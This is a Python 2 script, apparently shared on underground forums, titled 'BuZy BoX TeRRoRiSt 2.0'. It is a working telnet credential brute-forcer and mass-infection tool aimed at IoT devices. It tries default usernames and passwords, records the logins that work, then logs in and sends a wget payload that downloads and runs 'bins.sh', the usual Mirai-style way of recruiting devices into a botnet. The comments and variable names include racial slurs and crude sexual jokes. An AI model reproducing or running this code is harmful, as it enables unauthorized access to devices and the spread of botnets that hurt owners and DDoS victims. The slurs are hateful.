BuZy BoX TeRRoRiSt 2.0

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# HAHAHA Dropped this soo called "Private" Bruter/Scanner.
# Creedz TO MiraiP0ts Aka Godz.
# I had This for awhile an never used it. lol So Have Fun Ya d1g

import os
import socket
import sys
import time
import threading
import StringIO
import argparse
import random


os.system('clear')

ascii = '\x1b[1;35m'###########################################################################
ascii +='                                                                                \r\n'#
ascii +=' ███████   ███  ███  ████████  ███ ███  ███████    ██████   ███  ███            \r\n'#
ascii +=' ████████  ███  ███  ████████  ███ ███  ████████  ████████  ███  ███            \r\n'#
ascii +=' ██▒  ███  ██▒  ███       ██▒  ██▒ ▒██  ██▒  ███  ██▒  ███  ██▒  ▒██            \r\n'#
ascii +=' ▒█   █▒█  ▒█▒  █▒█      ▒█▒   ▒█▒ █▒▒  ▒█   █▒█  ▒█▒  █▒█  ▒█▒  █▒▒            \r\n'#
ascii +=' █▒█▒█▒█   █▒█  ▒█▒     █▒▒     ▒█▒█▒   █▒█▒█▒█   █▒█  ▒█▒   ▒██▒█▒             \r\n'#
ascii +=' ▒▒▒█▒▒▒▒  ▒█▒  ▒▒▒    ▒▒▒       █▒▒▒   ▒▒▒█▒▒▒▒  ▒█▒  ▒▒▒    █▒▒▒              \r\n'#
ascii +=' ▒▒░  ▒▒▒  ▒▒░  ▒▒▒   ▒▒░        ▒▒░    ▒▒░  ▒▒▒  ▒▒░  ▒▒▒   ▒░ ░▒▒             \r\n'#
ascii +=' ░▒░  ▒░▒  ░▒░  ▒░▒  ░▒░         ░▒░    ░▒░  ▒░▒  ░▒░  ▒░▒  ░▒░  ▒░▒            \r\n'#
ascii +=' ░░░ ░░░░  ░░░░░ ░░   ░░ ░░░░     ░░     ░░ ░░░░  ░░░░░ ░░   ░░  ░░░            \r\n'#
ascii +=' ░░░ ░ ░░    ░ ░  ░   ░ ░░ ░ ░     ░     ░░ ░ ░░    ░ ░  ░    ░   ░░            \r\n'#
ascii +='                     ~[ BuZy BoX TeRRoRiSt 2.0]~                                \r\n'#
ascii +='\x1b[0m'##############################################################################

print ascii
time.sleep(1)

print "[*] BuzyBox Terrorist 2.0 now includes: ", random.choice(["Robots with AIDS",
                                         "Being accused of being Lizard Squad",
                                         "Havij support",
                                         "Blackhat Hacking lessons from Vinnie Omari",
                                         "Pictures of my asshole in 4k Definition",
                                         "advice from master hacker Sixz ",
                                         "a personal phone call from FBI agent Ryan Brogan",
                                         "toaster support!",
                                         "sink support!",
                                         "Shirtless pictures of florian"]) + "!"

raw_input("Press <ENTER> to jerk off my d0g!")


parser = argparse.ArgumentParser()
parser.add_argument("-b","--brute",type=str, help="Brute force from list of IPs")
parser.add_argument("-x","--execute",type=str, help="Execute using wget/bins.sh from list of IPs+user+pass")
parser.add_argument("output",type=str,help="Output filename")
parser.add_argument("threadcount",type=int,help="The number of threads to use")
args=parser.parse_args()

wpayload = "cd /tmp || cd /var || cd dev/shm && rm -rf bins.sh && wget http://0.0.0.0/bins.sh && chmod 777 bins.sh && sh bins.sh"
payload = wpayload+'\r\n'

Thread = threading.Thread

userlist = ['root','admin','user','login','guest','support']
passlist = ['12345','admin','root','','password','login','support','default','user']
thread_cnt = args.threadcount

if args.brute: read_h = open(str(args.brute),'a+')
niggers420 = ''

def sock_read_until(tn, criteria, timeout=30):
    shitbuffer = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        shitbuffer += tn.recv(40960)
        time.sleep(0.01)
        if criteria in shitbuffer: return shitbuffer
    raise Exception('sock_read_until \x1b[1;33m timeout \x1b[   0m')

def iac_wont(tn, feature):
#    print 'wont',feature
    tn.send("\xff\xfb"+chr(feature))
def iac_dont(tn, feature):
#    print 'dont',feature
    tn.send("\xff\xfe"+chr(feature))
def mass_check(read_h):
    try:
        for line in open(read_h).readlines():
            ip_info = line.split(":")
            e = Thread(target=f, args=(ip_info[0],))
            e.start()
            print threading.active_count()
            while threading.active_count() > thread_cnt:
                pass
    except KeyboardInterrupt: os.kill(os.getpid(),9)

def mass_pwn(targets_file):
   try:
    targets_file_h = open(targets_file).readlines()
    for line in targets_file_h:
        ip_info = line.split(":")
        try:
            e = Thread(target=loadem, args=(ip_info[0],ip_info[1],ip_info[2]))
            e.start()
        except: pass
        print '[Thread]: ',threading.active_count()
        while threading.active_count() > thread_cnt:
    #       time.sleep(0.5)
            pass
   except KeyboardInterrupt: os.kill(os.getpid(),9)

def loadem(HOST,user,password):
   host = HOST
   try:
    x = ''
    tn = socket.socket()
    tn.connect((HOST,23))
#    print "Connected to "+HOST
    print tn.recv(40960)
    tn.send(user + "\n")
    time.sleep(1)
    print sock_read_until(tn,":",10)
    tn.send(password + "\n")
    print "Spraying "+HOST
    tn.send("sh\r\n\r\n")
    time.sleep(0.01)
    tn.send("shell\r\n\r\n")
    time.sleep(0.01)
    x += sock_read_until(tn,"#",10)
    print '[+] Got shell! '+HOST
    if ('rong' in x) or ('nvalid' in x) or ('ncorrect' in x) or ('again' in x) or ('denied' in x) or ('bad' in x) or ('Bad' in x) or ('failed' in x) or ('ailure' in x) or ('connection closed by' in x) or ('User not exist' in x) or ('nformation incomplete' in x): raise Exception('fucked')
    for line in payload.split("\n"):
#        print 'Sending line '+line
        tn.send(line+'\r\n')
        x = tn.recv(40960)
        if '> ' in x: raise Exception # because fuck those.
#        print x
    try: arch = sock_read_until(tn,"#",3)
    except: arch = 'dicks'
    print arch
    return arch
   except: pass
def f(ip):
    ip = ip.rstrip()
    iac_wont_b = 0
    iac_dont_b = 0
    for user in userlist:
        for passw in passlist:
            x = ''
            try:
                tn = socket.socket()
                tn.settimeout(35)
                tn.connect((ip,23))
            except Exception as e:
                print "\x1b[1;31m[x] Failed: \x1b[0m", ip, e
                break
            else:
                try:
                    x += tn.recv(40960)
                except Exception as e:
                    print "\x1b[1;33m[x] Timeout: \x1b[0m", ip,e
                    break
                else:
                    try:
                        niggers420=''
                        time.sleep(0.1)
                        x += tn.recv(40960)
                        sio = StringIO.StringIO(x)
                        try:
                         for i in sio.read(15):
#                             print str(ord(i))
                             if ord(i) == 251: # IAC WILL
                                 iac_dont_b = 1
                             elif ord(i) == 253: # IAC DO
#                                 print 'set wont b'
                                 iac_wont_b = 1
                             elif iac_wont_b == 1:
                                 iac_wont(tn,ord(i))
                                 iac_wont_b = 0
                             elif iac_dont_b == 1:
                                 iac_dont(tn,ord(i))
                                 iac_dont_b = 0
                        except: print "IAC wtf?"
#                        print 'iac done!'
                        tn.send(user + "\r\n")
                        time.sleep(0.01)
                        if 'User Access Verification' in x: raise Exception('cisco dicks')
                        x += sock_read_until(tn,":")
                        if 'ogin:' not in x and 'sername:' not in x: raise Exception('no login?')
                        tn.send(passw + "\r\n\r\n")
                        x += tn.recv(409600)
                        tn.send("sh\r\n\r\n")
                        time.sleep(0.01)
                        tn.send("shell\r\n\r\n")
                        time.sleep(0.01)
                        sock_read_until(tn,"#")
                        tn.send("echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n\r\n")
                        time.sleep(0.01)
                        x += tn.recv(409600)
                        time.sleep(0.01)
                        try:
                            x += sock_read_until(tn,"binfagt")
#                            print x
#                            if 'Welcome to ZTE' in x: raise Exception('ZTE')
                            if 'binfagt' not in x: raise Exception('no binfagt')
                            if '#' not in x and '>' not in x and '%' not in x and '$' not in x and ':' not in x: raise Exception('no prompt')
                            if ('rong' in x) or ('nvalid' in x) or ('ncorrect' in x) or ('again' in x) or ('denied' in x) or ('bad' in x) or ('Bad' in x) or ('failed' in x) or ('ailure' in x) or ('connection closed by' in x) or ('User not exist' in x) or ('nformation incomplete' in x): raise Exception('fucked')
                        except Exception as e:
                            print "[failed execution]", e,ip.rstrip()
                            continue
                        else:
                            file_h = open(args.output,'a+')
                            file_h.write(ip.rstrip() + ":" + user + ":" + passw+'\n')
                            file_h.close()
                            print '\x1b[1;32m[*] Execution on: \x1b[0m  ', ip
                            break
                    except Exception as e:
#                print "Timeout: ", ip, e
                        continue
                    continue
                continue
        continue
    return "my nutsack"


#p.join()


if args.execute:
    mass_pwn(args.execute)
elif args.brute: mass_check(args.brute)